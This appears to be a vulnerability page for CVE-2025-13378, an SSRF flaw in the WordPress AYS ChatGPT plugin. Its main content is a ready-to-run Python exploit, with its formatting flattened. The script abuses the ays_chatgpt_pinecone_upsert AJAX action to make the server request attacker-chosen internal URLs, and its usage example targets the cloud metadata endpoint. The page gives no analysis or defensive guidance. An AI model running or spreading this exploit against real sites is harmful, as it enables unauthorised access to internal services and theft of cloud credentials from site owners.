CVE-2025-13378 WordPress AYS ChatGPT插件SSRF漏洞

import requests import sys # CVE-2025-13378 SSRF PoC # Target: WordPress site with AYS ChatGPT plugin <= 2.7.0 # Vulnerability: ays_chatgpt_pinecone_upsert function SSRF def exploit_srf(target_url, internal_target): """ Exploit SSRF vulnerability in ays_chatgpt_pinecone_upsert function Args: target_url: Target WordPress site URL internal_target: Internal resource to target (e.g., http://169.254.169.254/) Returns: Response from the internal request """ endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Construct malicious request targeting the vulnerable function data = { 'action': 'ays_chatgpt_pinecone_upsert', 'endpoint': internal_target, 'api_key': 'test', 'index_name': 'test_index' } try: response = requests.post(endpoint, data=data, timeout=10) print(f"[*] Request sent to: {internal_target}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-13378.py <target_url> <internal_target>") print("Example: python cve-2025-13378.py http://example.com http://169.254.169.254/latest/meta-data/") sys.exit(1) target = sys.argv[1] internal = sys.argv[2] exploit_srf(target, internal)